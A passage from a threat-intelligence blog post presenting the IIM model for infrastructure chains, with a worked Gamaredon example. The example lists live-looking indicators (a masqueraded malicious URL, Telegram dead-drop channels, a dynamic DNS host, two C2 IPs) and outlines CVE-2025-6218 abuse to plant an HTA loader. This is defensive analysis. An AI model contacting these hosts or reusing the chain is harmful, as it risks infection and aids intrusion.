That pattern is what IIM tries to describe.

Six concepts, one chain

IIM is small on purpose.
Six concepts, four primitives, two abstractions.
If a model needs three pages to explain itself, nobody is going to use it easily and I have personally read enough threat intel framework PDFs to consider this a moral position

Entities are the facts. A URL, an IP, a domain, a file hash, a TLS cert.
Pure observation, no interpretation.
An entity exists, has identity and has timestamps. That’s it.

{
  "id": "e3",
  "type": "url",
  "value": "https://worker.example.dev/r",
  "first_seen": "2026-04-10T12:00:00Z"
}

Roles give an entity meaning in context.
The same Cloudflare Worker can be an entry point in one campaign and a redirector in another.
Roles live on the chain position, not the entity itself.
That means: The role isn’t a property of the artifact. The role is what the artifact is doing in this particular operation.

The role catalog is small: entry, redirector, staging, payload, c2.
Five positions, because when I tried to add more I couldn’t honestly justify any of them.

Relations are the actual interactions.
download, redirect, drops, execute, connect, resolves-to, references, communicates-with

Critically: relations carry evidence.
They are observed, not assumed.
If you can’t tell me when and how you saw the redirect, the relation doesn’t go in the chain. We have enough threat intel that’s “well, probably” already.

Techniques are the reusable infrastructure patterns. CDN Abuse, Fast-Flux DNS, Geofenced Delivery, Multi-Hop Redirect, Dead-Drop Resolver.
Twenty-six of them in v1.1.
The catalog will grow, but only when something new actually shows up in the wild.

The thing to internalize: IIM techniques describe infrastructure, not behavior. They are deliberately complementary to ATT&CK, not competitive. If your technique describes what happens on the endpoint, it belongs in ATT&CK. If it describes how traffic flows, where things are hosted or who is allowed to reach what, it belongs here. The two catalogs sit on different axes by design.

Chains are concrete observations. A specific campaigns specific infrastructure at a specific time, modeled as an ordered sequence of role positions, each carrying entities and techniques. (it isn’t as complex as it sounds ^^)
Chains describe what was actually seen.

Patterns are chains with the entities stripped out.
Just the structural fingerprint: role sequence, techniques, match semantics.
Patterns are what you share when you want to publish “this is what these guys infrastructure looks like” without having to ship a list of IOCs that will be dead soon.

That’s the whole model.
Six concepts, deliberately small.

A real example

Let’s run Gamaredon through it.

Scale: an active operation against Ukrainian government and military targets, abusing CVE-2025-6218 to place an HTA loader into the Startup folder without user interaction.

In IIM terms, the chain is not interesting because of one specific domain, one Telegram channel or one IP address.

It is interesting because of the operational shape.

The observed chain looks like this:

entry       > UA government / military-themed spearphishing lure
staging     > RAR archive abusing CVE-2025-6218
staging     > HTA file placed in the Startup folder
redirector  > masqueraded URL using president.gov.ua-style userinfo
payload     > Pteranodon Stage-2 loader
redirector  > Telegram dead-drop channel: oberfarir
redirector  > Telegram dead-drop channel: natural_blood
redirector  > dynamic DNS host: document-downloads.ddns.net
c2          > resolved Telegram-provided endpoint: 194.67.71.75
c2          > resolved Telegram-provided endpoint: 45.33.16.183

The chain contains ten role positions:

entry         > UA gov/military-themed spearphishing sender
staging       > RAR archive triggering CVE-2025-6218
staging       > HTA dropped into Startup
redirector    > URL abusing trusted-looking Ukrainian government branding
payload       > Pteranodon Stage-2 loader
redirector    > Telegram channel used as dead-drop resolver
redirector    > second Telegram channel used as dead-drop resolver
redirector    > dynamic DNS redirector / resolver
c2            > C2 endpoint
c2            > additional resolved C2 endpoint

Techniques attached:

entry          IIM-T019, IIM-T008
staging-1      IIM-T023
staging-2      -
redirector-1   IIM-T006, IIM-T008, IIM-T020
payload        -
redirector-2   IIM-T006, IIM-T013
redirector-3   IIM-T006, IIM-T013, IIM-T023
redirector-4   IIM-T006, IIM-T008, IIM-T020
c2-1           -
c2-2           -

What matters here is the split between volatile infrastructure and reusable structure.

The Dynamic DNS host can disappear. The bulletproof hosting endpoint can be replaced. The loader can be recompiled. The lure, archive name, HTA filename, DynDNS domain and final IPs are all replaceable pieces.

But the backbone remains visible:

spearphishing entry
-> archive-based staging
-> Startup-folder HTA persistence / loader execution
-> trusted-looking redirector
-> Pteranodon loader
-> Telegram dead-drop resolution
-> dynamic DNS / hosted C2 infrastructure

That is the point of modelling this as infrastructure behavior instead of just collecting indicators.

If you only track the IOCs, every rotation looks like a new campaign. A new Telegram channel, a new DynDNS hostname, a new IP address, a new loader hash.

If you track the pattern, it looks different.

It becomes the same operational design with swapped components.

And that is exactly the layer IIM is meant to describe: not just what was observed, but how the infrastructure was composed, how the pieces related to each other and which parts of the chain are actor tradecraft rather than disposable infrastructure.

Here’s a visual representation of the chain as SVG.

If you want to try yourself, here’s the chain, you can visualize it yourself within the IIM Workbench.

Click to view chain
{
  "iim_version": "1.1",
  "chain_id": "gamaredon-2025-zero-click-rar",
  "entities": [
    {
      "id": "e1",
      "type": "file",
      "value": "<UA gov/military-themed spearphishing sender>"
    },
    {
      "id": "e2",
      "type": "file",
      "value": "*.rar (CVE-2025-6218 trigger archive)"
    },
    {
      "id": "e3",
      "type": "file",
      "value": "<docname>.HTA in Startup folder"
    },
    {
      "id": "e4",
      "type": "url",
      "value": "http://president.gov.ua@readers.serveirc.com?/gss_11.11.2025/kidneyfih/broadlyrQZ.pdf"
    },
    {
      "id": "e5",
      "type": "file",
      "value": "Pteranodon (Stage-2 loader)"
    },
    {
      "id": "e6",
      "type": "url",
      "value": "https://www.telegram.me/s/oberfarir"
    },
    {
      "id": "e7",
      "type": "url",
      "value": "https://www.telegram.me/s/natural_blood"
    },
    {
      "id": "e8",
      "type": "url",
      "value": "document-downloads.ddns.net"
    },
    {
      "id": "e9",
      "type": "url",
      "value": "194.67.71.75"
    },
    {
      "id": "e10",
      "type": "ip",
      "value": "45.33.16.183"
    }
  ],
  "chain": [
    {
      "entity_id": "e1",
      "role": "entry",
      "techniques": [
        "IIM-T019",
        "IIM-T008"
      ]
    },
    {
      "entity_id": "e2",
      "role": "staging",
      "techniques": [
        "IIM-T023"
      ]
    },
    {
      "entity_id": "e3",
      "role": "staging",
      "techniques": []
    },
    {
      "entity_id": "e4",
      "role": "redirector",
      "techniques": [
        "IIM-T006",
        "IIM-T008",
        "IIM-T008",
        "IIM-T020"
      ]
    },
    {
      "entity_id": "e5",
      "role": "payload",
      "techniques": []
    },
    {
      "entity_id": "e6",
      "role": "redirector",
      "techniques": [
        "IIM-T006",
        "IIM-T013"
      ]
    },
    {
      "entity_id": "e7",
      "role": "redirector",
      "techniques": [
        "IIM-T006",
        "IIM-T013",
        "IIM-T023"
      ]
    },
    {
      "entity_id": "e8",
      "role": "redirector",
      "techniques": [
        "IIM-T006",
        "IIM-T008",
        "IIM-T020"
      ]
    },
    {
      "entity_id": "e9",
      "role": "c2",
      "techniques": []
    },
    {
      "entity_id": "e10",
      "role": "c2",
      "techniques": []
    }
  ],
  "relations": [
    {
      "from": "e1",
      "to": "e2",
      "type": "references",
      "sequence_order": 1
    },
    {
      "from": "e2",
      "to": "e3",
      "type": "drops",
      "sequence_order": 2
    },
    {
      "from": "e3",
      "to": "e4",
      "type": "resolves-to",
      "sequence_order": 3
    },
    {
      "from": "e4",
      "to": "e5",
      "type": "drops",
      "sequence_order": 4
    },
    {
      "from": "e5",
      "to": "e6",
      "type": "connect",
      "sequence_order": 5
    },
    {
      "from": "e5",
      "to": "e7",
      "type": "connect",
      "sequence_order": 6
    },
    {
      "from": "e5",
      "to": "e9",
      "type": "connect",
      "sequence_order": 7
    },
    {
      "from": "e8",
      "to": "e9",
      "type": "resolves-to",
      "sequence_order": 8
    },
    {
      "from": "e6",
      "to": "e10",
      "type": "resolves-to",
      "sequence_order": 9
    }
  ],
  "confidence": "confirmed",
  "observed_at": "2025-11-22T00:00:00Z"
}

“But isn’t this just STIX?”

No. And this is the section where I save you the GitHub issue.

STIX 2.1 is an exchange format. It defines objects (indicators, infrastructure, attack-patterns, relationships) and lets you serialize them into bundles you can ship between tools. STIX is excellent at what it does. It’s also explicitly not a model of how an operation is structured.

The STIX Infrastructure SDO has a name, a description, an infrastructure_types tag and some first/last seen timestamps.
That’s it.
No notion of a position in a chain. No notion of “this redirector comes after that entry point.” No notion of techniques attached to a specific role. STIX relationships connect any two objects with a flat verb uses, consists-of, related-to and any ordering or semantic position has to be expressed in free text or vendor-specific extensions, which means in practice it isn’t expressed at all.

IIM exports to STIX losslessly. A chain becomes a bundle of Infrastructure objects with x_iim_* custom properties, plus relationships, plus attack-patterns for the techniques.
The reverse direction, STIX to IIM, is an enrichment workflow, not a conversion, because STIX doesn’t carry the information IIM needs and we shouldn’t pretend it does.
Anything inferred on import gets marked tentative and needs_review: true. No silent upgrades.

Diamond Model has four vertices: adversary, capability, infrastructure, victim. “Infrastructure” is one vertex. One. The whole thing collapses into a single bucket.
Diamond is a fine high-level analytical model, but if you try to express how the infrastructure was actually composed in a Diamond representation, you end up writing a paragraph in a notes field. IIM is what happens when you zoom into the infrastructure vertex and give it real structure.

MISP and OpenCTI taxonomies let you tag an IP as c2 or a domain as redirector.
That’s helpful and IIMs role catalog is partially aligned with those tags on purpose. But tagging is flat. You can tag a thousand IPs as C2 and never express that twelve of them rotate through the same dead-drop resolver while the rest don’t.
Tags describe artifacts.
IIM describes operations.

ATT&CK I already covered. Different axis. Same campaign, different facets. Use both.

The principle I stuck to throughout: don’t replace mature standards, fill the gap they don’t cover.
Composability over reinvention.
There’s enough threat intel work to do without forcing everyone to migrate off STIX again.

Why this matters

Here’s the operational case for caring about any of this.

If you’re a defender and you treat every rotation as a new event, you will spend the rest of your career re-blocking the same operation. You will write the same incident report seven times. Your detection coverage will look like a list of last weeks domains, because that’s exactly what it will be.

If you have a structural model, you can ask different questions. Have we seen this shape before? Does the new infrastructure cluster with the previous campaign at the pattern level? Are the same operators behind it, even though every artifact is new? These are the questions that actually matter when the artifacts are gone within hours.

IIM is not the only way to ask those questions. But it’s a way to ask them in a vocabulary that’s the same on Tuesday as it was on Monday and that lets you compare your observations to mine without us having to first agree on what the words mean.

Federation or: why this actually scales

Here’s the part nobody talks about until it’s been built: the actually interesting property of a structural model is what happens when more than one person uses it.

Threat intel sharing today is broken in a very specific way. We share IOCs through MISP, ISACs, vendor feeds and mailing lists. The IOCs are stale by the time they arrive. When we try to share something more durable, TTPs, actor profiles, narrative reports, the format is a PDF.
PDFs do not match against telemetry. Your SOC analyst opens the PDF, ctrl-Fs for “domain,” and copies the obviously-already-burned indicators into a watchlist. We are still doing this in 2026.

What an IIM federation enables, in one sentence: share patterns instead of indicators and the patterns are still good after the rotation.

Concretely. Org A observes a campaign, builds an IIM chain, abstracts it to a pattern (entities stripped, structure preserved) and publishes it. Org B receives the pattern and matches it against their own observations. Org B might be sitting on completely different domains, different IPs, different hashes and still get a hit, because the shape of the operation matches. The same operators with new clothes.
Pattern-level matching survives rotation by definition.

A few things follow from this:

Sharing scales because patterns don’t expire. A pattern published in March is still useful in November, because the structural fingerprint is what the actors are bad at changing. Their hosting provider rotates daily. Their composition logic rotates roughly never. Once you have ten or twenty good patterns for a group, you can attribute new infrastructure to them within minutes of seeing it, regardless of whether any of the indicators have ever been seen before.

Privacy gets easier, not harder. Patterns have no entities. There are no victim domains, no internal IPs, no attributable hostnames. This bypasses an enormous fraction of the “we can’t share because legal” friction that kills useful TI exchange today. Particularly relevant under GDPR, where IOC sharing involving any kind of victim-identifying data is a pain.
At the end it’s your decision if you share your full chain or just a pattern, both have their worth.
Patterns are PII-free by construction.

Attribution becomes contestable. Right now actor attribution is a process that still requires a lot of manual aggregation and verification. With pattern-level federation, you can publish the patterns you used to cluster and someone else can argue with the clustering. This is how science works.

The network effect actually kicks in. Every additional participant in an IIM federation increases the match rate for everyone else, because the same actor groups hit multiple targets. With IOC sharing, the network effect is muted because IOCs burn fast. With pattern sharing, the network effect compounds.

No central authority required. A federation is not hub-and-spoke. There’s no need for a central database, no single point of failure. Every participant publishes their own patterns from their own infrastructure, signed and timestamped. You consume the patterns from the participants you trust. This is structurally different from how most TI sharing currently works and structurally important if you take sovereignty seriously.

The federation layer is what makes the model worth more than the sum of its installations.
A single org running IIM in isolation gets some structural benefits.
A hundred orgs running IIM with shared patterns gets the actual prize: a defensive intelligence ecosystem that doesn’t rot every Tuesday.

Joining a federation is roughly as hard as validating a JSON file: no central registry to negotiate with, no shared infrastructure to maintain, no legal review of victim data because patterns have none and no vendor sitting between you and the people you actually want to share with.

What’s actually built

IIM v1.1 is published as a draft. Spec, JSON schema, technique catalog, reference chains and bidirectional STIX 2.1 tooling are all on GitHub. Composes with the standards you already use; doesn’t try to replace them.

There’s also a Workbench: a local and web tool for building, validating and exporting IIM chains. Runs on your machine, doesn’t phone home, ships with the technique catalog baked in. Use it to model a campaign you’re working on, sketch a pattern for sharing or just play with the model to see if it makes sense.

If a technique you need isn’t in the catalog, open an issue. If a role definition is wrong, even better, open an issue with a specific case it doesn’t handle.
The model is a draft for a reason. I’d rather get it right than get it done fast.

Open core, closed lab

IIM is one piece of Malwarebox, an independent CTI research initiative I’m building in Europe, publishing open frameworks and methodologies for a corner of threat intelligence that doesn’t really have an open ecosystem yet.

The model is roughly open core, with one important inversion.
The frameworks IIM, ACDP, the schemas, the catalogs, the reference implementations are open. They have to be.
You can’t ask the community to standardize around something they can’t review.

The closed part is Kraken, the working environment behind the research, the platform where adversary infrastructure is actually tracked as a living graph. Kraken stays closed for now and access goes through vetting. Not because closed tooling is the goal, but because some research needs to mature somewhere private before it shapes the public frameworks. Open frameworks need a place where mistakes are cheap.
Kraken is that place.

Why bother with any of this?
Two reasons.

First: civilian threat intelligence research in Europe is structurally underfunded compared to the US, where commercial vendors and government programs subsidize a lot of public work.
We’ve been importing that work for a decade. It worked, mostly.
It has also shaped what European defenders can see and what they can’t and it has made independent research a hobby rather than a profession on this side of the Atlantic.
Open frameworks are one small lever for changing that, they give independent researchers a vocabulary and a publication target that doesn’t require a vendors marketing approval.

Second: a real European CTI federation doesn’t exist yet.
There are bilateral exchanges, sectoral ISACs, vendor-mediated feeds, EU-level initiatives.
None of them constitute a federation in the sense the previous section described.
Building one isn’t a tooling problem.
It’s a structural problem, a trust problem, a vocabulary problem and a sovereignty problem.
IIM is the vocabulary piece. ACDP is the methodology piece. Kraken is the working environment that puts them through their paces.
Together they’re an attempt to be a foundation 🙂

Next

Part four will cover IIMQL the query language that sits on top of IIM.
Once you have a structural model, the next obvious question is “okay, but how do I actually search through thousands of these chains for the patterns I care about.”
That’s what IIMQL is for and it’s where things get more interesting.

Part five will be the partial Malwarebox ecosystem write-up Kraken, IIM/IIMQL, ACDP and how the loop between them is supposed to work in practice.
With a slightly heavier emphasis on the “why this is built in Europe and stays in Europe” argument, because that one deserves its own piece.
All these components are just part of what I’ve actually built and a fraction of what’s planned :3

For now: read the spec, try the workbench, break the model, tell me what’s wrong with it.
You’ll find more real-world examples in the IIM repository soon.

If you want to contact me for feedback or anything else, you can reach me via contact@robin-dost.de

License

IIM is published under the Apache License 2.0.

The reason is simple: IIM is meant to be used.

It should be possible for researchers, vendors, public-sector teams, open-source projects, internal SOC platforms, detection pipelines and threat intelligence tools to adopt the model without asking for permission first.

Apache 2.0 allows free use, modification, distribution and integration, including in commercial products, while still preserving attribution and providing a clear patent grant. That makes it a practical license for an infrastructure intelligence model that is supposed to become interoperable, not decorative.

In short:

You can use it.
You can build on it.
You can integrate it into your own tooling.
You can ship products with it.

Just keep the license notice and attribution intact.

That is the point.


Resources

Malwareboxhttps://malwarebox.eu
IIMhttps://iim.malwarebox.eu
IIM Specification v1.1GitHub
Technique CatalogGitHub
IIM Workbenchhttps://workbench.iim.malwarebox.eu / https://github.com/MalwareboxEU/IIM-Workbench